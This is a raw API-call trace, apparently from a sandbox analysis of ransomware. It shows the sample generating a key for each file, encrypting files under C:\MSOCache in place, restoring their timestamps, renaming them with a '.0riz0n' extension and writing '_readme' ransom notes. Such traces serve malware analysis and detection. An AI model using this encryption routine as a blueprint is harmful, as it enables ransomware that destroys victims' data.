[0160.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c15220) returned 1 [0160.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x6e40) returned 0x1c15220 [0160.055] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1c15220*, pdwDataLen=0x1a7faac*=0x6a3b, dwBufLen=0x6e3b | out: pbData=0x1c15220*, pdwDataLen=0x1a7faac*=0x6a40) returned 1 [0160.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c15220) returned 1 [0160.055] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.055] WriteFile (in: hFile=0x1c0, lpBuffer=0x1b8d110*, nNumberOfBytesToWrite=0x6a3b, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b8d110*, lpNumberOfBytesWritten=0x1a7fab0*=0x6a3b, lpOverlapped=0x0) returned 1 [0160.055] FlushFileBuffers (hFile=0x1c0) returned 1 [0160.062] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.062] NtClose (Handle=0x1c0) returned 0x0 [0160.063] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.0riz0n")) returned 1 [0160.063] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.0riz0n", dwFileAttributes=0x2020) returned 1 [0160.063] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0160.063] GetLastError () returned 0x2 [0160.063] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984648, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0160.063] GetLastError () returned 0x2 [0160.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.064] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.065] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.065] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.065] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb) returned 0xa9d630 [0160.066] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x772385d0, dwHighDateTime=0x1d59598)) returned 1 [0160.066] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.066] NtClose (Handle=0x1c0) returned 0x0 [0160.066] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b8d110) returned 1 [0160.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.066] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.066] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.066] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676)) returned 1 [0160.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0160.067] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.067] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.067] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0160.067] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.067] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676)) returned 1 [0160.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.067] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.067] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.067] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676)) returned 1 [0160.067] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.067] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.068] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.068] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.068] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xe8728670, dwHighDateTime=0x1d301be)) returned 1 [0160.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.068] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.068] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.068] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.068] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.068] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.069] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.069] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10680) returned 0x1c52f80 [0160.069] ReadFile (in: hFile=0x1c0, lpBuffer=0x1c52f80, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1c52f80*, lpNumberOfBytesRead=0x1a7fab0*=0x10676, lpOverlapped=0x0) returned 1 [0160.071] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10680) returned 0x1c63608 [0160.071] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c52f80) returned 1 [0160.071] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10680) returned 0x1c52f80 [0160.071] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.071] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c63608) returned 1 [0160.071] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10a80) returned 0x1c63608 [0160.071] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1c63608*, pdwDataLen=0x1a7faac*=0x10676, dwBufLen=0x10a76 | out: pbData=0x1c63608*, pdwDataLen=0x1a7faac*=0x10680) returned 1 [0160.072] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c63608) returned 1 [0160.072] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.072] WriteFile (in: hFile=0x1c0, lpBuffer=0x1c52f80*, nNumberOfBytesToWrite=0x10676, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1c52f80*, lpNumberOfBytesWritten=0x1a7fab0*=0x10676, lpOverlapped=0x0) returned 1 [0160.072] FlushFileBuffers (hFile=0x1c0) returned 1 [0160.076] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.076] NtClose (Handle=0x1c0) returned 0x0 [0160.076] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.0riz0n")) returned 1 [0160.077] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.0riz0n", dwFileAttributes=0x2020) returned 1 [0160.077] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0160.077] GetLastError () returned 0x2 [0160.077] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984668, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0160.077] GetLastError () returned 0x2 [0160.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.078] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.078] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.079] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.079] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0160.079] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x7725e730, dwHighDateTime=0x1d59598)) returned 1 [0160.079] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.079] NtClose (Handle=0x1c0) returned 0x0 [0160.079] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.079] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.079] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c52f80) returned 1 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.080] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.080] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488)) returned 1 [0160.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0160.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0160.080] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.080] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488)) returned 1 [0160.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.081] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.081] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488)) returned 1 [0160.081] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.081] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.081] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.081] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.081] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xe8728670, dwHighDateTime=0x1d301be)) returned 1 [0160.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.081] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.081] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.081] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.081] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.082] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.082] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.082] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.082] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.082] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x24c0) returned 0x1b46270 [0160.082] ReadFile (in: hFile=0x1c0, lpBuffer=0x1b46270, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b46270*, lpNumberOfBytesRead=0x1a7fab0*=0x2488, lpOverlapped=0x0) returned 1 [0160.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x24c0) returned 0xa66268 [0160.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b46270) returned 1 [0160.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x24c0) returned 0x1b46270 [0160.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa66268) returned 1 [0160.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x28c0) returned 0xa66268 [0160.084] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa66268*, pdwDataLen=0x1a7faac*=0x2488, dwBufLen=0x2888 | out: pbData=0xa66268*, pdwDataLen=0x1a7faac*=0x2490) returned 1 [0160.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa66268) returned 1 [0160.084] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.084] WriteFile (in: hFile=0x1c0, lpBuffer=0x1b46270*, nNumberOfBytesToWrite=0x2488, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b46270*, lpNumberOfBytesWritten=0x1a7fab0*=0x2488, lpOverlapped=0x0) returned 1 [0160.084] FlushFileBuffers (hFile=0x1c0) returned 1 [0160.087] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.087] NtClose (Handle=0x1c0) returned 0x0 [0160.087] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All 